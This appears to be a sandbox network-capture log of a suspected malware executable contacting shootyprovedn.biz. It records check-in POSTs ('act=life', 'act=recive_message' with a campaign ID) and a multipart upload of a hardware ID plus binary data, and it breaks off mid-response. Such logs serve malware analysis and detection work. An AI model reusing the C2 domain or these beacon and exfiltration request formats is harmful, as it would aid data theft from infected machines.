Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	172.67.194.239	443	7328	C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 15:30:27 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: shootyprovedn.biz
2024-10-24 15:30:27 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 15:30:27 UTC	556	IN	HTTP/1.1 403 Forbidden Date: Thu, 24 Oct 2024 15:30:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NdpjtW5YPafBUh3s7ppgZhrfaoPtc36hKF5Q5vMgWL3vfH%2BO25tcEBclBq03vYYAvEIXbgoIqja1UCbzDQElwHncUc5hA3oF6WB1tP5OJSDAIsSNFN5wcLzCcLbYioMtGLoDBQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b021a3e724653-DFW
2024-10-24 15:30:27 UTC	813	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-24 15:30:27 UTC	1369	IN	Data Raw: 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 Data Ascii: yles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById(
2024-10-24 15:30:27 UTC	1369	IN	Data Raw: 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: nagement/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <
2024-10-24 15:30:27 UTC	893	IN	Data Raw: 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 Data Ascii: an> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" i
2024-10-24 15:30:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	172.67.194.239	443	7328	C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 15:30:28 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=lpD1RjXJohCLYpmyqlQ0fid0_0I3gp7rVFYE4zoJRm8-1729783827-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: shootyprovedn.biz
2024-10-24 15:30:28 UTC	82	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 78 41 65 4f 64 70 2d 2d 6d 61 69 6e 74 65 61 6d 26 6a 3d 31 35 66 37 39 31 31 63 35 63 37 33 65 32 63 32 36 33 61 39 62 34 33 33 65 62 35 35 66 66 33 31 Data Ascii: act=recive_message&ver=4.0&lid=xAeOdp--mainteam&j=15f7911c5c73e2c263a9b433eb55ff31
2024-10-24 15:30:29 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 15:30:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h87uc3nvg5gvim36e94ckumvsv; expires=Mon, 17 Feb 2025 09:17:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v7SV8BNT7AD6daCauDAmBjcqKLuIFoLdaXrUOwB9AyVGoBvu3KINX0ccT8UUU0z5KjHn8hcJrEiV7N8qABqJVRCfMMyl%2FqBPsXjDo3beyXnXROSL8u%2FpcFEhCNBUVzIxwM%2BosA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b021ffd34281b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1633&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=1072&delivery_rate=1751966&cwnd=250&unsent_bytes=0&cid=e3b38fcca14110f4&ts=713&x=0"
2024-10-24 15:30:29 UTC	353	IN	Data Raw: 31 64 39 66 0d 0a 57 46 63 36 52 4a 49 66 46 4e 32 71 4d 72 79 66 53 46 71 6a 48 45 70 6c 44 56 47 37 32 35 41 2b 46 71 32 31 30 78 43 47 79 4d 6f 6a 64 55 78 6d 71 43 73 34 2f 39 6c 58 6e 71 55 75 4f 38 39 76 4c 30 6b 76 4d 4e 2f 35 71 6c 68 33 77 63 61 32 50 4b 53 2b 70 33 70 74 58 43 58 2b 62 48 48 78 69 46 66 45 76 58 49 42 32 44 34 76 43 79 39 72 6d 62 37 36 58 48 66 42 31 37 4a 37 36 62 69 6d 4f 7a 39 57 49 2f 70 36 64 37 6e 4c 58 74 48 36 4c 54 2f 43 64 69 51 4d 59 44 6e 57 2b 62 77 63 63 39 65 58 36 54 4c 4c 72 62 34 35 47 6c 73 33 2b 54 31 70 38 64 45 51 32 66 46 71 59 49 46 39 4c 77 64 68 4e 39 2b 77 2b 46 5a 2b 79 64 61 33 65 76 61 68 72 44 41 2f 57 43 44 37 63 48 36 74 78 6c 54 57 38 53 73 31 77 6a 35 6d 52 32 67 72 6d 65 47 79 44 30 62 4d 78 Data Ascii: 1d9fWFc6RJIfFN2qMryfSFqjHEplDVG725A+Fq210xCGyMojdUxmqCs4/9lXnqUuO89vL0kvMN/5qlh3wca2PKS+p3ptXCX+bHHxiFfEvXIB2D4vCy9rmb76XHfB17J76bimOz9WI/p6d7nLXtH6LT/CdiQMYDnW+bwcc9eX6TLLrb45Gls3+T1p8dEQ2fFqYIF9LwdhN9+w+FZ+yda3evahrDA/WCD7cH6txlTW8Ss1wj5mR2grmeGyD0bMx
2024-10-24 15:30:29 UTC	1369	IN	Data Raw: 2b 66 48 75 2f 32 6c 6a 56 39 69 38 71 79 6e 63 6c 43 6d 38 2b 30 37 62 78 58 48 50 46 33 62 35 34 34 4b 65 6c 50 44 56 59 5a 72 34 39 63 61 65 49 43 4a 37 65 4c 79 6a 47 63 6a 35 46 56 58 50 47 39 2b 73 63 63 38 4f 58 36 54 4c 73 72 36 73 35 50 6c 63 6c 2b 48 5a 6b 76 39 70 57 30 2f 67 34 50 73 52 77 49 67 52 39 4f 64 65 2f 38 56 56 2f 78 74 4b 32 64 71 54 6b 36 44 30 74 47 48 36 77 58 48 75 30 78 46 72 4a 2f 57 6f 6e 6a 32 64 6f 41 47 4e 7a 67 66 6e 32 58 58 44 4f 30 37 39 38 34 4b 61 75 4e 44 68 58 49 50 70 39 63 62 58 41 57 4e 2f 77 49 54 66 42 65 79 55 44 61 54 2f 59 76 4c 49 53 4e 4d 6a 50 38 53 71 6b 68 4b 38 35 4a 78 6f 54 38 33 4e 34 75 4e 34 51 77 62 4d 7a 65 4d 5a 79 61 46 38 76 50 64 79 32 34 46 31 6d 79 74 6d 6a 66 75 47 73 70 54 6b 37 57 43 Data Ascii: +fHu/2ljV9i8qynclCm8+07bxXHPF3b544KelPDVYZr49caeICJ7eLyjGcj5FVXPG9+scc8OX6TLsr6s5Plcl+HZkv9pW0/g4PsRwIgR9Ode/8VV/xtK2dqTk6D0tGH6wXHu0xFrJ/Wonj2doAGNzgfn2XXDO07984KauNDhXIPp9cbXAWN/wITfBeyUDaT/YvLISNMjP8SqkhK85JxoT83N4uN4QwbMzeMZyaF8vPdy24F1mytmjfuGspTk7WC
2024-10-24 15:30:29 UTC	1369	IN	Data Raw: 75 4e 34 51 77 62 4d 7a 65 4d 5a 79 61 46 38 76 50 39 43 35 2b 56 5a 77 7a 39 43 38 64 2b 65 74 71 7a 63 79 55 69 6a 33 65 58 71 32 78 56 62 65 2b 69 34 39 30 33 73 68 43 32 4e 7a 6c 2f 6e 31 52 44 53 58 6c 35 35 31 38 71 6d 48 4f 53 52 52 5a 75 38 7a 62 2f 2f 50 58 4a 36 6c 61 6a 2f 45 64 69 4d 42 5a 7a 50 4c 76 50 78 58 64 63 58 52 73 48 2f 6f 72 4b 67 37 4e 56 34 71 38 48 70 78 72 64 70 56 32 4f 38 67 65 49 38 2b 4c 78 38 76 61 35 6d 50 34 6b 74 6c 32 5a 57 45 63 65 71 6b 72 79 78 31 52 32 6a 70 50 58 47 7a 69 41 69 65 39 69 6f 30 78 6e 59 75 41 32 63 38 31 72 44 67 58 58 6a 42 78 62 5a 79 37 61 53 6e 4e 6a 78 56 49 66 31 32 66 4c 4c 4d 56 39 2b 39 5a 48 6a 47 5a 6d 68 66 4c 77 58 4a 74 50 35 79 66 38 50 65 38 57 32 71 73 2b 67 39 4f 52 68 2b 73 48 6c Data Ascii: uN4QwbMzeMZyaF8vP9C5+VZwz9C8d+etqzcyUij3eXq2xVbe+i4903shC2Nzl/n1RDSXl5518qmHOSRRZu8zb//PXJ6laj/EdiMBZzPLvPxXdcXRsH/orKg7NV4q8HpxrdpV2O8geI8+Lx8va5mP4ktl2ZWEceqkryx1R2jpPXGziAie9io0xnYuA2c81rDgXXjBxbZy7aSnNjxVIf12fLLMV9+9ZHjGZmhfLwXJtP5yf8Pe8W2qs+g9ORh+sHl
2024-10-24 15:30:29 UTC	1369	IN	Data Raw: 64 72 34 4c 7a 7a 47 65 69 34 49 4c 33 32 5a 76 75 6f 63 4c 49 2f 34 6c 6b 65 6d 69 35 4a 36 4b 68 59 2f 73 48 70 36 2f 35 41 51 30 76 34 6d 4d 4d 35 34 49 51 74 6c 4f 74 4b 31 2b 56 68 34 78 74 4b 33 63 2b 47 76 71 54 34 35 55 69 44 7a 66 6e 6d 77 78 31 69 65 73 32 6f 2f 32 54 35 77 52 30 6f 6b 30 72 66 30 48 47 75 42 7a 76 46 31 36 4f 72 77 65 6a 6c 52 49 50 5a 34 65 72 37 4f 57 4e 76 31 4c 6a 6e 48 65 43 73 49 61 7a 62 59 74 76 5a 51 65 73 58 57 73 48 37 76 70 61 4d 2f 64 52 5a 6d 39 32 55 32 35 34 68 68 33 65 73 39 4b 4d 30 2b 4e 30 6c 32 63 39 36 31 73 67 51 30 7a 73 57 37 65 4f 71 76 70 7a 38 32 56 79 48 39 65 33 71 31 77 56 6a 59 38 69 4d 71 77 6e 49 6d 41 47 45 2f 31 37 54 34 58 33 6d 50 6d 66 46 31 2f 4f 72 77 65 68 6c 66 4b 39 35 32 65 72 69 49 Data Ascii: dr4LzzGei4IL32ZvuocLI/4lkemi5J6KhY/sHp6/5AQ0v4mMM54IQtlOtK1+Vh4xtK3c+GvqT45UiDzfnmwx1ies2o/2T5wR0ok0rf0HGuBzvF16OrwejlRIPZ4er7OWNv1LjnHeCsIazbYtvZQesXWsH7vpaM/dRZm92U254hh3es9KM0+N0l2c961sgQ0zsW7eOqvpz82VyH9e3q1wVjY8iMqwnImAGE/17T4X3mPmfF1/OrwehlfK952eriI
2024-10-24 15:30:29 UTC	1369	IN	Data Raw: 70 32 67 58 6b 77 52 7a 64 7a 37 37 37 69 54 48 65 4e 35 71 64 78 38 71 47 6c 4e 6e 56 48 61 4f 6b 39 63 62 4f 49 43 4a 37 37 4a 54 48 43 63 53 6b 4f 59 7a 37 63 73 50 64 64 63 73 76 64 75 33 4c 69 72 4b 6b 2f 50 31 73 6e 2b 6e 52 78 74 38 39 54 7a 4c 31 6b 65 4d 5a 6d 61 46 38 76 47 74 36 72 2f 45 77 30 30 4a 6d 6f 4d 75 4f 6d 36 47 4a 31 58 43 7a 2f 65 58 47 7a 7a 6c 58 59 38 43 73 33 77 48 34 6e 41 32 51 36 33 37 6a 2f 57 58 6e 4c 78 62 74 35 36 36 61 68 4e 6a 67 59 61 4c 42 36 62 76 2b 51 45 4f 2f 77 4a 44 62 47 61 47 67 59 49 53 71 5a 76 76 34 63 4c 49 2f 57 76 58 33 6e 70 61 73 35 4e 46 49 30 34 6e 46 2f 74 38 31 63 31 66 4d 73 4b 73 64 78 49 51 52 73 4f 74 36 78 2f 6c 5a 33 79 4a 66 2f 4d 75 4f 79 36 47 4a 31 65 7a 48 67 63 44 61 67 68 6b 6d 65 2b Data Ascii: p2gXkwRzdz777iTHeN5qdx8qGlNnVHaOk9cbOICJ77JTHCcSkOYz7csPddcsvdu3LirKk/P1sn+nRxt89TzL1keMZmaF8vGt6r/Ew00JmoMuOm6GJ1XCz/eXGzzlXY8Cs3wH4nA2Q637j/WXnLxbt566ahNjgYaLB6bv+QEO/wJDbGaGgYISqZvv4cLI/WvX3npas5NFI04nF/t81c1fMsKsdxIQRsOt6x/lZ3yJf/MuOy6GJ1ezHgcDaghkme+
2024-10-24 15:30:29 UTC	1369	IN	Data Raw: 39 4b 41 4e 72 4e 4e 79 36 2f 6c 64 7a 7a 4e 69 31 65 2b 71 6a 70 33 70 37 47 43 48 6f 50 53 37 2f 36 55 76 64 38 53 64 34 33 6a 41 78 52 32 67 2f 6d 65 47 79 55 48 72 4b 31 37 74 30 34 4b 2b 75 4d 44 42 59 4c 66 4e 79 63 72 6e 4d 58 39 37 32 49 7a 6e 48 65 79 49 4d 61 54 37 61 76 2f 51 63 4f 6f 2f 51 71 54 4b 38 36 6f 67 68 4f 46 51 68 73 47 49 34 70 6f 68 58 30 72 31 79 65 4d 70 79 4c 41 42 76 50 74 71 78 39 31 68 2b 79 74 65 35 59 4f 79 71 72 79 67 6e 57 43 2f 31 63 58 57 2f 7a 46 62 58 2b 79 6b 38 67 54 42 6f 41 48 64 7a 67 66 6e 66 55 48 50 6d 30 4b 6f 79 2b 2b 53 78 65 6a 4a 55 5a 71 67 39 64 37 54 43 58 39 50 2b 4c 44 76 4b 65 79 49 47 61 44 76 55 71 2f 46 54 65 38 76 58 76 6e 54 69 71 36 63 38 4d 6c 45 6e 2b 48 6f 32 38 59 68 58 78 72 31 79 65 4f Data Ascii: 9KANrNNy6/ldzzNi1e+qjp3p7GCHoPS7/6Uvd8Sd43jAxR2g/meGyUHrK17t04K+uMDBYLfNycrnMX972IznHeyIMaT7av/QcOo/QqTK86oghOFQhsGI4pohX0r1yeMpyLABvPtqx91h+yte5YOyqrygnWC/1cXW/zFbX+yk8gTBoAHdzgfnfUHPm0Koy++SxejJUZqg9d7TCX9P+LDvKeyIGaDvUq/FTe8vXvnTiq6c8MlEn+Ho28YhXxr1yeO
2024-10-24 15:30:29 UTC	393	IN	Data Raw: 4c 32 75 5a 6a 50 46 53 65 73 6a 42 6f 44 2f 44 73 4b 55 38 49 6b 6c 6d 76 6a 31 77 2f 35 41 41 6b 4c 30 75 4b 59 45 6d 65 46 55 30 5a 6f 72 75 6f 67 35 72 67 63 37 78 5a 4b 54 79 2b 6e 52 31 53 6d 61 6f 50 54 47 38 32 6b 4c 59 2f 6a 77 37 68 6b 41 57 4b 57 67 31 33 4c 37 69 48 6c 72 45 77 37 59 79 71 75 71 6e 65 6d 31 68 5a 72 67 39 53 66 47 49 53 4a 36 6c 61 67 33 43 63 43 59 41 65 53 4b 55 6c 2f 56 61 63 63 6a 48 38 31 7a 76 76 71 39 36 65 78 67 67 73 43 55 6d 38 59 68 55 7a 37 31 79 61 4a 4d 6c 66 56 51 34 59 34 75 6d 76 45 55 30 32 5a 66 70 49 4b 72 71 75 6e 70 74 47 47 48 7a 62 32 53 35 79 30 62 64 75 68 51 47 77 6d 67 6c 43 47 51 79 35 34 66 63 55 58 58 4d 32 66 4e 44 38 71 65 34 4f 54 42 66 47 4d 35 7a 63 61 76 50 58 74 6a 39 61 6e 61 42 63 57 68 Data Ascii: L2uZjPFSesjBoD/DsKU8Iklmvj1w/5AAkL0uKYEmeFU0Zoruog5rgc7xZKTy+nR1SmaoPTG82kLY/jw7hkAWKWg13L7iHlrEw7Yyquqnem1hZrg9SfGISJ6lag3CcCYAeSKUl/VaccjH81zvvq96exggsCUm8YhUz71yaJMlfVQ4Y4umvEU02ZfpIKrqunptGGHzb2S5y0bduhQGwmglCGQy54fcUXXM2fND8qe4OTBfGM5zcavPXtj9anaBcWh
2024-10-24 15:30:29 UTC	1369	IN	Data Raw: 32 35 33 39 0d 0a 63 4f 6f 2f 59 38 53 72 64 36 75 42 36 43 68 5a 6d 36 44 30 75 2f 2f 31 54 30 50 4d 74 4c 74 41 7a 43 51 70 6b 50 39 53 32 2b 52 77 36 6a 39 48 78 4b 72 54 6b 36 44 34 6b 47 48 36 67 4c 79 33 71 6d 77 65 4f 72 7a 56 32 32 44 34 2b 52 7a 64 68 6c 2f 6e 67 48 43 79 50 6b 4c 4a 67 39 71 79 72 4c 44 59 66 47 4d 35 65 59 61 6e 43 53 35 7a 62 4c 53 6e 49 61 43 55 56 55 51 33 33 74 50 4e 66 65 6f 33 6d 70 33 2f 30 71 61 30 39 43 32 59 6f 39 32 6c 78 73 63 35 51 6e 72 4e 71 4e 34 45 6d 45 55 63 6e 63 2b 62 33 73 6b 51 30 6c 35 65 45 63 65 71 6b 72 79 77 6b 46 51 58 6e 61 33 79 6b 69 6e 62 5a 37 43 4d 75 7a 47 78 6f 53 53 38 31 6d 65 47 69 45 6a 54 4c 78 76 45 71 74 50 6a 7a 62 32 59 50 64 71 4a 69 4f 4b 61 49 52 70 36 6c 65 48 61 42 62 47 68 66 Data Ascii: 2539cOo/Y8Srd6uB6ChZm6D0u//1T0PMtLtAzCQpkP9S2+Rw6j9HxKrTk6D4kGH6gLy3qmweOrzV22D4+Rzdhl/ngHCyPkLJg9qyrLDYfGM5eYanCS5zbLSnIaCUVUQ33tPNfeo3mp3/0qa09C2Yo92lxsc5QnrNqN4EmEUcnc+b3skQ0l5eEceqkrywkFQXna3ykinbZ7CMuzGxoSS81meGiEjTLxvEqtPjzb2YPdqJiOKaIRp6leHaBbGhf
2024-10-24 15:30:29 UTC	1369	IN	Data Raw: 36 79 45 6a 54 4a 6c 2b 6b 68 71 75 71 73 4b 33 55 41 64 71 49 6d 49 2b 79 66 41 49 7a 69 5a 43 47 42 61 47 68 66 50 58 32 5a 71 37 49 45 4e 49 6a 55 6f 32 44 69 71 62 34 35 63 6d 59 59 78 58 35 34 73 63 39 47 36 2f 34 37 4f 38 46 31 46 6a 6c 4f 50 64 4b 2b 2f 6b 70 4b 38 65 4b 79 66 4f 71 74 76 69 74 31 46 6d 62 2f 50 53 36 47 69 42 69 65 77 6d 52 34 32 54 35 77 52 31 6f 77 31 37 66 31 53 6d 57 43 34 72 4a 6a 35 36 71 6a 65 6e 73 59 49 4c 41 6c 4a 50 47 49 56 4d 2b 39 63 6d 69 54 4a 58 31 55 4f 47 4f 4c 70 72 78 46 4e 4e 6d 58 36 53 43 71 36 72 70 36 62 52 68 68 38 32 39 6b 75 63 74 47 33 62 6f 55 42 75 64 39 4c 77 46 73 50 63 36 6f 73 48 4e 33 78 4e 75 39 64 66 4b 55 6c 69 38 32 56 69 6a 33 61 32 66 2f 68 68 44 52 76 58 49 42 67 57 38 69 41 43 4e 37 6c Data Ascii: 6yEjTJl+khquqsK3UAdqImI+yfAIziZCGBaGhfPX2Zq7IENIjUo2Diqb45cmYYxX54sc9G6/47O8F1FjlOPdK+/kpK8eKyfOqtvit1Fmb/PS6GiBiewmR42T5wR1ow17f1SmWC4rJj56qjensYILAlJPGIVM+9cmiTJX1UOGOLprxFNNmX6SCq6rp6bRhh829kuctG3boUBud9LwFsPc6osHN3xNu9dfKUli82Vij3a2f/hhDRvXIBgW8iACN7l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	172.67.194.239	443	7328	C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 15:30:30 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=lpD1RjXJohCLYpmyqlQ0fid0_0I3gp7rVFYE4zoJRm8-1729783827-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18166 Host: shootyprovedn.biz
2024-10-24 15:30:30 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 39 43 35 36 38 46 34 35 42 39 37 45 44 32 35 42 43 39 45 38 41 44 42 32 44 37 42 38 42 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 41 65 4f 64 70 2d 2d 6d 61 69 6e 74 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"EC9C568F45B97ED25BC9E8ADB2D7B8B4--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"xAeOdp--maint
2024-10-24 15:30:30 UTC	2835	OUT	Data Raw: 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R
2024-10-24 15:30:30 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 15:30:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e6v430gbe4q05mnf5bind9u0vm; expires=Mon, 17 Feb 2025 09:17:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: 